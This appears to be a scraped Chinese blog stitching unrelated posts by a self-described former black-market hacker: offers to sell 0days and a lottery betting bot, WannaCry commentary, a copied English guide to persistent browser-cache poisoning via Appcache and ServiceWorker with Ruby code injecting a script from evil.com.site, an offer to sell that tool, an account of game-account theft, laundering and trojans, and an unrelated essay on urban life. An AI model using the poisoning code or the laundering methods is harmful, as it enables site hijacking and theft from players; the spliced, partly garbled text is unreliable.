纸牌屋小套路0.1 附扯淡

从今年除夕开始在知乎写了一个非专业的专栏《黑产纸牌屋》,感谢几位大佬的支持,关注人数剧增。我那肮脏的虚荣心又再次的跳出来露出一副爽感后思考到。哦,原来还有人记得我,虽然以前做了一些不靠谱的事。

我收到了很多的私信以及找我合作的邮件。我在这里重申一下,我已经不在业内。找我买0day或EXP可以,私下探讨一下也可以,合作就不要发邮件了。

另外也有一些骂我的人我都没有回复,在这我就统一回复了。你爹我晓得了!因为我不需要谁来提醒,我自己是什么样的水平能力。我不回你的另外一个重要原因是你跟我还不是一个水平线的。

说句很讽刺的话,业内很尴尬。挣钱的只有那么几位大佬,挣了钱还没出来的也有那么几位大佬。闷声发小财的我也祝你一帆风顺。

你们娱乐圈可能我不太懂,圈内我认识的人极少。人若无名 便可专心练剑 的道理我更明白。如果不小心触犯了你的自尊心以及利益,我只能说你丫活该!

另外就是我建了一个QQ群,我的目的很明确,就是想知道大家愿意看业内的什么产业,我就去挖什么产业。毫不夸张的说十年来从游戏到金融,从金融到黄赌毒我都有接触过,如果你愿意看的话,我很乐意深挖。

还有就是提醒在和我写同类型专栏的各位,勿忘初心 [可能你丫初心就是为了拉投资]。不要为了关注而写东西,我仅仅是当做茶余饭后的一点乐趣在写罢了。Tomslnsight只有一个。树大不一定招风,也有可能是海啸。

现在我也终于明白HM大哥为啥让我把名字去掉,也真正理解低调求发展这句话的含义。哈膜也说了一句很经典的老话,我敏记在心。

最后,纸牌屋小套路0.1从6月1号开始写,依然是不定时更新。只能算得上套路,分享给一些想了解这个行业却又无力的朋友。深度的东西我们专栏见!

小发现:我在知乎上按照各位大佬的姿势放了一个我个人的微信公众号 [其实也压根没怎么管它],每次一发微信,人数蹭蹭往下掉,难道这就是我的个人魅力吗?不过我愿意做真小人,而非伪君子。实话说粉丝这个东西对我而言无关紧要,因为我最TM讨厌的就是鹿晗跟吴亦凡和几个买流量粉丝的叼毛! [ 多说两句,不是因为他们比我帅,是他们买起流量来,我都害怕!特别是这个鹿晗,名字起得也是非常的叼,怎么不叫猪含,狗含,长劲含?导致我现在踩ofo都晕车。扫描二维码之前一定要开静音,我就怕听到那娘炮的声音。]

20170707164908

神器:-)

卖三份android下的自动化投注算法模拟器(该算法命中率在%85以上,不低于这个百分比,不是每一场都设置投注,会自动过滤号码),只针对三个特殊彩种,测试三天无异常,金额只能设置5-20,一个平台每天产出250-550,目前我过滤掉了二十多个平台。价格25k[骷髅]

继续阅读

聊聊昨天爆发的勒索病毒

今天一大早几个朋友发给了我这个关于勒索的新闻.
从界面上来看,很熟悉嘛,这不是cyber的中文版吗?
从翻译的语法来讲,极有可能是香港或台湾或新加坡的黑客所为.
通过445端口瞄准的人群(大学生)如此有目的性,可见已经是蓄谋已久
445端口漏洞来传播蠕虫,我们来翻一翻最新的445漏洞.
ETERNALROMANCE 有知道的朋友吗?
Equation Group在今年四月15号泄露的几个0day中正好这个ETERNALROMANCE是关于XP 7 8的SMB共享服务漏洞。
至于解密方式,算法这种东西属于玄学,如果文件非常重要付费是不二选择。不要幻想杀软公司给你出一套解密工具了!
如何防范,百度一大堆,为啥Win10没有爆发,我猜是ETERNALROMANCE无法提升权限,因为Win10下的SMB共享需要二次验证。
而我更关注EXPLODINGCAN和ESTEEMAUDIT,一个IIS5.0和6.0以及一个3389 RDP的漏洞,多少服务器沦陷了?
周末快乐!

蛋疼的360前端库

2015年闲下来了重新搭建了这个blog,闲暇之余写点以后自己看的东西,方便以后回过头好知道自己都干了些什么。wordpress有个很恶心的地方就是每次都要替换google的前端库到360的useso,(其实是GFW恶心)谁可曾想360也挂了!我一直以为是vps的问题,导致很慢,因为我每次上网都会挂vps映射到本地,没有卡顿的感觉,今天换了台电脑看了一下,原来全部恢复到了google的前端库,这才换到了中科大学的前端库速度贼快 https://lug.ustc.edu.cn/wiki/lug/services/googlefonts。让我们干了这杯酒,敬GFW,第二杯敬360。

Using Appcache and ServiceWorker for Evil

You’re a bad guy and you just hacked a website. Normally you leak the database and leave. The owner fixes everything next day and removes your backdoor. With Middlekit techniques you can poison browser cache of every visitor and get more money and intelligence in a long run.

They call it “Advanced Persistent Threat” in the cyber snake oil industry. It silently sits in the victim’s user agent and waits for your commands. It can alter responses, proxy requests through your server etc – it is permanent session hijacking and XSS.

mk

I am not going to give you specific software, but will explain two approaches: appcache and serviceworker.

Appcache

It works in all browsers. You just need to add manifest itself in the CACHE MANIFEST section and the browser will always return poisoned documents from the cache.

  • You need to collect as many URLs as possible – you need to list them explicitly to make the user agent cache it. site:victim.com in google is a good start
require 'open-uri'
f=open('https://www.google.ru/search?q=site%3Asakurity.com&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8').read

def get_pages(domain)
  f=open('https://www.google.ru/search?q=site%3A'+domain+'&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=10&num=100&').read
  r = f.scan /http:\/\/#{domain}(.*?)[&%]/im
  puts r.flatten.uniq.join(' ')
end
get_pages 'sakurity.com'
  • Don’t forget user specific URLs such as “/settings” or “/homakov/direct_messages”. You can generate the manifest on the fly.
  • Insert your middlekit in front of the hacked production server. For demonstration you can run following script locally and add 127.0.0.1 sakurity.com to your /etc/hosts. It also works in MitM attacks over wifi against https:// websites.
require 'sinatra'

wire = lambda do
  if params[:utm_medium]
    r=  "real content"
  else
    r=&lt;<script src="https://evil.com.site/middlekit.js"></script><script>// <![CDATA[
function load(url){ x=new XMLHttpRequest; x.open('get',url); x.setRequestHeader('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'); x.setRequestHeader('Cache-Control','max-age=0'); x.setRequestHeader('Upgrade-Insecure-Requests','1'); x.send(); x.onreadystatechange=function(){ if(x.readyState==4){ document.write(x.responseText); //document.body.parentElement.innerHTML = x.responseText; } } } if(location.href.indexOf("?") != -1){ var u = location.href + "&utm_medium=1"; }else{ var u = location.href + "?utm_medium=1"; } //history.pushState("","",url); console.log("Infected") load(u);
// ]]></script>HTML end r end pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple} pages.each{|page| get page, &amp;wire } get '/a.appcache' do response.headers['cache-control'] = 'max-age=3155760000' response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' "CACHE MANIFEST /a.appcache #{pages.join("\n")} " end
  • Get as many users as possible to visit the hacked server right now – try a newsletter.
  • Now all of them load your middlekit.html first, and there is no way to destroy appcache with javascript. The admins have to ask every user to visit chrome://appcache-internals/ manually

ServiceWorker

This one works only in Chrome on desktop and only over https: websites, but is actually much more dangerous. It creates a worker which alters responses for all requests and there’s no need to explicitly cache every page – you can cover entire domain with one worker.

onfetch=function(e){
  e.respondWith(new Response('<script>// <![CDATA[
alert(document.domain)
// ]]></script>',{headers: {'Content-Type':'text/html'}})) }

To install a ServiceWorker the browser wants to see it as a response with content-type:text/javascript. Pinky, are you pondering what I’m pondering?

Lots of JSONP endpoints respond with arbitrary JS. For instance look at my challenge, this is the answer.

In other words XSS + JSONP + ServiceWorker = Permanent XSS on every page

Recap

Appcache is too late to fix, and it’s going to be perfect cache poisoning tool for a long while for both hacked websites and insecure connections (yet another reason to avoid https:// when you’re on someone’s wifi).

ServiceWorker is very young and powerful technology, and should be implemented more carefully, taking into account how common JSONP endpoints are. I believe it was a bad idea to allow any text/javascript responses to become a ServiceWorker. At least it should be an extra header Service-Worker:true or explicit Content-Type:text/javascript-serviceworker.

Supplement

需要利用工具的可以邮件联系 24a4de1216a63be9[at]gmail.com,目前可利用环境Apache2.2.32以下。(非免费) 或者你有更屌的持久化劫思路可以与我分享,一样付费!

网络游戏在黑色产业链处于什么样的地位

ss_1802c10e1e362256ef9742aaa9077f0cddd3db20

今早起来发现专栏突然人数剧增,受宠若惊。很高兴大家能对这一偏门话题敢兴趣,本来最近挺忙的,但是看到这么多人关注还是决定再更一篇,下篇文章就不知道是什么时候了!简短的一个介绍吧;本人伪文艺,做黑产出身,这些年赚的钱倒是不少,但所剩无几。步入三旬,一如少年模样!
我从05年开始从事游戏行业直到2012年,标题《网络游戏在黑色产业链处于什么样的地位》,这个问题先肯定的回答一下。除菠菜行业外,无与伦比!我们先来看一下游戏产业每年的营业额及市场规模。

图为2009-2015 年中国游戏市场销售收入

v2-fbd66a2455132b6d24369b89b42adff2_r

图为2011-2015年Q1-Q3中国网络游戏市场规模

v2-bb2d9aeced19a074bd24ac14f9931d4d_b

收入堪比国企,这也能解释为什么各大网络公司全都要一头扎进网络游戏这块沃土,为什么各大视频网站上全都是游戏广告,为什么各大明星一个劲的代言网络游戏。(网页游戏目前在游戏市场的比重仅仅只有不到%15,大家脑补一下现在的端游和手游的收入。)

我把网络游戏中的黑产分为一下如下几个过程或者说阶段,每个阶段都有巨大利益产生!

_1 源代码、游戏端

_2 游戏金币、游戏装备、

_3 外挂

_4 游戏工作室

_5 游戏钓鱼、游戏木马团队

0x00 源代码、游戏端

我先举一款游戏作例子,GTA5。这款游戏的开发公司是Rockstar Games,据说花了2.65亿美元开发,花费了五年的时间,不得不说这是一家伟大的公司。国外的游戏公司做任何游戏都会比中国强的原因我个人理解为中国的公司浮躁,不舍得花钱。“能用十万人民币套现五十万的事情,绝不会用二十万去套现五十万”,这是中国游戏行业的瓶颈!

游戏公司花了2.65亿来开发这款游戏,那么他的游戏端或游戏源代码到底能价值多少呢?以我的经验来评估一下,如果GTA5的游戏端泄露的话市场价值应该在500万人民币左右,如果有源代码的话可能就是翻三倍吧,一千五百万。但这份源代码落到游戏公司去的话,产生的价格就不得而知了,做游戏这些年从没接触过到销售这一环节,不是接触不到,是懒!

在13年的时候我们团队尝试了一下黑进Rockstar Games,但无果。这是当时对几个外部web扫描的基础信息。

v2-c210ebd275f968ad1f01475043f350e3_b

v2-b15a6143526066751052e98d688b1883_r

任何游戏端和游戏源代码都有他的价值,这些年手游的兴起,连手游的游戏端都能卖钱了,当然,聪明一点的游戏团队不会碰国产游戏端/代码,不是因为国产游戏垃圾,而是风险度是%100。碰则死,所以国外的游戏端和源代码才是我们的挚爱。我制了一份游戏端价格表,大家可以看一下,也可以看一下这个市场有多疯狂,还有人记得当年的99nets吗?

v2-85cbf059c16fcd62f3df77df84ee7cab_r

v2-8a923c7a7a98fdeb49e4172cf2285b1e_r

以上价格有差异,当然我是问了国内还在做这方面的朋友征求的价格。一些商业黑客,赏金猎人最喜欢的就是刷库和游戏端,当然游戏源代码难度太大国内没多少黑客能搞定,寥寥无几,我数过去数过来也只有为数不超十个大牛或团队能搞定。难度大到什么程度呢?首先要突破游戏开发公司的边缘网络到OA内网,找到核心管理员,干掉那台物理隔绝的服务器,最后再到SVN拿到各个版本的游戏源代码,也不一定齐全。以前在团队仅成功过一次。战绩如下,一款比较牛逼的游戏。

v2-eaf626344646d423b00a686437cad76a_r

拿到游戏端或者游戏源代码的工作室肯定就是开私服了,去掉了开发费用,二次修改程序,已经有了开发公司的推广,只需要做的就是私服推广了,让我想到了一个广告“没有中间商赚差价,人人库:)”

我们看一下诛仙私服:

v2-65a8cc52fc95be4289f596afa868c06f_r

付上一段聊天记录。自己脑补

v2-0f2a8d413f05a05f5fd713e22eb2db2f_r

v2-8aab682273ac74268a4dcb4c8b5fe670_r

总之这个是黑客们的最爱,拿到后一次性就能得到一大笔钱,风险也最低!当然要看游戏了,如果碰了国内的游戏,那就死定了!这是我的经验之谈,不要走我的老路!切记!!!

0x01 游戏金币、游戏装备

说到游戏金币和游戏装备就不得不说的是游戏工作室了,游戏打金已经从热血传奇那个年代到现在成为了一种职业,养活了不少游戏玩家。疯狂程度可以看一下比价器。

v2-89a90c014352bc9583d1cc11116d99c6_r

v2-d2fdc8af7968ac0815094eecaff265bd_r

国内的游戏工作室现在目前有过万家,甚至有很多个人玩家买了几台电脑也算一个小型的工作室,遇到好的游戏和外挂每天每台电脑的收入可以达到500,当然有人靠这个发家,就有人因这个落马!印象最深的游戏是D3(暗黑破坏神3),那是2011年底吧,当时D3登录美服,金币价格1E=780,这是最早的价格,一台八核高配电脑每天挂30个号,每天可以靠打金收入800~1200块钱,成本有哪些?外挂,激活码,激活码当时一个是6 7百人民币,用国外信用卡刷的黑激活码也是300-400,当时哪管那么多啊,工作室砸钱啊,使劲砸,买大批激活码,外挂,那三个月衣钵满满,机器越多赚的越多。可惜好景不长,暴雪开始封号,几百块钱的激活码号全部被封,有些工作室倾家荡产。

游戏金币算一个游戏公司的虚拟财产,我之前讲过,任何一款游戏都是被游戏工作室给提前终结生命的,这话没错。本来游戏公司会有更多利润可图的。总要分一杯羹给游戏工作室。当然暴雪是游戏工作室的噩梦,一朋友的号被封了让翻译致电暴雪,暴雪原话是“游戏是我们开发的,游戏内的所有金币账号都是我们的。你可以选择不玩!”这是暴雪的游戏态度。

游戏金币大家可以到比价器去看一下,稳定的游戏货币没有多少,我说的D3也从最高的时候的780=1E金币,掉到了现在的12块=1E金币。

0x02 外挂

游戏外挂是游戏产业中最重要的阶段,外挂的销售渠道比乐天的销售渠道还要大,分工明确,利益最大化!外挂作者重金难求!外挂的销售可谓是非常细,总代,二级代理,三级代理,分销代理,市场推广,反馈专员,等等。

就DNF(地下城勇士)这款游戏来说,2010年一南京的哥们应该是跑路到国外了吧?听说获利1000万跑路,这位大牛的名字有人听说过吗?DNF有人玩过的话,应该知道是一个类似“闯关刷怪”的游戏,当时这款挂进图一秒秒杀全图怪物, 直接进入第二层。这么变态的东西,能不跑路吗?这东西在工作室产生一个月利润可以打到上亿的利润,那可是2010年!

抱歉这个重要阶段了解不多,不是做这个方向的。欢迎评论补充!

0x03 游戏工作室

把游戏工作室和游戏金币分开是他们有一些关联,但又和黑客在他们之间的关系分开。我认识的游戏工作室大多数不光做游戏打金,还做游戏洗库,刷库,游戏金币贩卖收货,不然怎么能撑起来那么大的开销,一个标准的游戏工作室应该有100台八核高端机器,足够的人手,数条光纤,这个全国应该问福建龙岩和厦门的老哥取经了。

v2-0d3b8245c954346ad86d7fededa8ed52_r

像这样一份游戏库,里面带了金币,和游戏银行金币,和二级密码的,工作室收了黑客这样一个库第一件事是干嘛呢?请人写批量登录啊,登录以后要首先筛选金币数量,然后开始安排人和机器把数据分成多少分分给下面的人开始一个号一个号进行洗,所谓洗洗更健康就是说这个。这里有非常的技巧,洗库最重要的就是时间,像一个200W账号的游戏库,必须要在一周的时间内全部消化干净,不会让你一个号一个号慢慢操作的,操作慢了游戏公司会采取一些二次验证的手段,你这库就废了。

洗库大家都知道怎么回事,很少人知道刷库是什么意思。举个贴切的例子,我们在得到银行的权限以后拿到了所有的银行卡和密码,给别人来洗。刷库的意思是你提供账号密码,我刷1000万到你的账号密码上面,操作简单。你只管贩卖就够了,然后这样的权限实在难得。之前我知道有一个朋友搞日本的游戏,刷库刷了整整五年,但是每天他只刷2000块钱的金币。这里面需要非常大的智慧和经验,这就是渗透中的动态思维的魅力。

0x04 游戏钓鱼、游戏木马团队

现在的游戏钓鱼无非就是游戏喊话,然后获取一些玩家的联系方式,发送诈骗短信,诈骗邮件进行骗二级保护的方式,这个有人在做,我知道有一个工作室用问道喊话“新手领取礼包”这样的方式每个月收入过30万,没有什么技术含量,但是欺骗也是一种艺术。毕竟玩游戏的没几个人动脑子的。

游戏木马团队又要高明很多,伪装,贩卖,传播、三个阶段,传播阶段与钓鱼有异曲同工之妙,更高级一点的就是挂马了。市面上很多11合一,13合一的游戏马,意思就是11款游戏只要登录就可以到收信地址里去找账号密码了,厉害的马,还能破OTP!这都是空手套白狼的项目了,只管收钱即可。

0x05 补充

黑客最喜爱的游戏公司排名:NEXON、NCSOFT、WEMADE、webzen、Ggame、hanGame、softstar、origin。

最后说一句抱歉,写得比较潦草,毕竟没有稿费,文化程度也不高:)你们将就着看!

还是那句话,做黑产我只服两个人,河马与安静,有听说过的朋友我们与君共勉!

不定期更新,没有文笔,内容也不会一气呵成,但一定真实。欢迎关注 黑产纸牌屋

加入我们?

可以发私信给我。

joker

a84a571c-b45f-470f-bd11-9240ec91201a

文/阿童木

此前我写过一篇文章,给了一些漂泊在北上广深苦苦追寻或苟延残喘的年轻人们一点小小的建议。但说来惭愧,我自己就是一个离开小县城在大城市里蜗居着忐忐忑忑勉强维持生计的年轻人,我看着自己佯装过来人一样的分析真是感到自己咋那么不要脸。但欣喜的是,很多读者看了以后都留言说帮助他们解开了心中的焦虑,真是感谢。

但事实上,在那一篇文章里,我只是讲到了来到城市不久的年轻人的焦虑与选择,但这却远远不是全部。当我们还年轻,当我们的父母还身体健康,当我们还没有养育孩子的压力,当我们看到我们的收入依然在不断增长,我们所将要面对的真正的问题还没有到来,那个不可知的未来依旧不可知。

最近,我去上海参加一个行业论坛,和几位圈子里的前辈聊天。他们大多数是外地人,来到上海十多年了,他们有车有家庭,在上海有着按揭付款的房子,但他们之中大多数没有没有上海户口,他们年薪多数在50万元左右。

对于一个普通人来说,这样的收入也算是奋斗的一个顶峰了。他们的这种生活方式和财富拥有的程度,也算是中产阶层吧。照理说,中产的生活应该是最为幸福的,但事实上,这些在大城市的新住者们却都异常焦虑,而且这种焦虑比年轻奋斗的时候更甚,因为他们不知道未来。

留在在大城市?没有户口,孩子的教育是最主要的问题,迟早要回去高考。家里的父母双亲逐渐年迈需要照顾,而他们却在千里之外。哪怕你有了足够牛逼的经济能力你要把父母全都接到大城市,可是你的父母真的愿意吗?他们一大把年纪了还要再被逼无奈断绝自己所有的熟人联系来到一个完全陌生的城市,而且连医保社保都不一定搞的定。再中国的传统文化中,“落叶归根”是一个人一生的最大理想,可是呢?

那难道在事业成功之后,赚了钱之后就回老家去?回去干什么呢?当习惯了大城市里的公平竞争和日新月异,回到那个闭塞又处处开后门的小县城,我们真的能适应吗?我们明明可以再努力一下就获得更大的成功,为什么就放弃了呢?

我们赚了钱回到小县城做什么呢?如果你是做互联网、做营销公关、做新闻媒体等等的工作,你回到小县城面对的是一片无助与迷茫。你把赚来的钱投资搞个小饭馆?开个小超市?或者托后门去去当地的事业单位挂个职位?呵呵,你一个离开家乡十几年人,根本无法再重新回来融入当地的圈子。

那么,未来究竟在哪里?
答案就是,根本没有未来。

来和你的奋斗、你的收入无关,和你能不能买得起大城市的房子无关,和你有多少的积蓄无关(那1%的超级富豪暂且不论),你所面临的是一个矛盾,一个来自于你的家庭的压力,来自于这个国家这种制度的限制的矛盾:就如同我之前所说的一样,你以为你足够努力就能获得自由,但其实,有一个巨大的透明的网在限制着你——这就是你所背负的家庭——你的父母、你的爱人的父母、你的孩子——虽说父母是无私的,但你的父母绝不应当为了你的梦想和选择而失去自己的生活——还有你所面临的制度:户口的难题、看病的难题、买房的难题——一切的难题你无法解决。

但你如果回到家乡呢?就如同三十多年以前那样,你在计划中长大,然后接收了国家分配给你的工作,一干就是几十年,直到退休。那时候你生活在一个极其稳定的,几乎一成不变的年代。人们各司其职,各得其所,没有变革,没有挑战,当然也不可能有真正意义上的自由。个人服从国家安排,服从组织分配,那个年代差不多就是这样,可以一眼望穿自己的人生去向。组织会帮你安排好一切:吃食堂,住宿舍。而你也不用为孩子的事情操心,反正孩子的成长路径也和我一样而已——那个时候,你也不会羡慕所谓的大城市,一来你根本没有资格去大城市工作;二来所谓的大城市,也并没有多少更繁华的地方——也许这种生活也是不错的,这可能是就是如今很多人想要的稳定、文艺而小资的生活——然而,这种病态的稳定带来的却是普遍的贫穷与人性的压抑——于是这种制度这种生活,轰然倒塌。

在那个时代,以为自己可以稳定一辈子的年轻人们,在这一套生活规则倒塌的时候迷茫无措,他们觉得自己被骗了——但其实,只是自己的内心骗了自己。

三十多年前,那些拿着铁饭碗的年轻人,永远都不会想到下岗和破产,永远不会想到股市和理财,永远不能理解为什么房子是商品,永远不能明白为什么会出现北漂一族。这就是变化啊,永恒的变化。

理解我所说的了么?我不知道漂泊在大城市的最终未来在哪里,因为我所有的分析、研究、展望都只能是基于现有的生活模式和制度去分析:但是变化实在太快了,这个国家正在艰难地转身,我永远都不知道十年或者二十年之后世界的样子——哪怕我翻开历史,哪怕我分析从经济角度去分析,我也不知道——历史哪怕再相似,也不会永远都一模一样。

所有怎么办呢?我取了一个这样的标题,然后自言自语说了一堆没用的废话?
但这些,真的不仅仅是废话。

这个世界上绝对没有两全其美的事情,任何事情都有两面性。你想要生活得更自由,就必须承担相应的不安。你想要稳定与安全,就必须按耐自己躁动的心。这是常识而已,没有什么可以讨论的。自己的选择,只能自己来做,并且对你所做的选择负责——这就是生活。

未来不可知,未来不可期,哪怕是邓公也在改革开放初期的时候说要“摸着石头过河”,无论用什么方式过河,我们只要到对岸去就好了,而对岸是什么?对岸就是快乐与幸福。

战乱中长大的40后当时也不知道自己的未来在哪里,经历了饥饿和贫穷的50后当时也不知道未来在哪里,以为把握了未来的60后却不小心失去了未来,再大变革中成长的70后当时也不知道未来在哪里——但现在回首过去,这一切都太清晰了——在大城市中用青春交换梦想的80后、90后的未来到底在哪里?也许,二十年后,就清晰了。

这是最好的时代,这个时代有最好的自由和财富;这是最坏的时代,这个时代有最多的迷茫和焦虑。但无论如何,我们无法选择我们所处的时代,我们能做的,只是努力做好当下,保持自己当下的快乐与激情,仅此而已。至于,我们到底应该如何向前,其实鲁迅早就说过了:这个世界本没有路,走的人多了,也就成了路。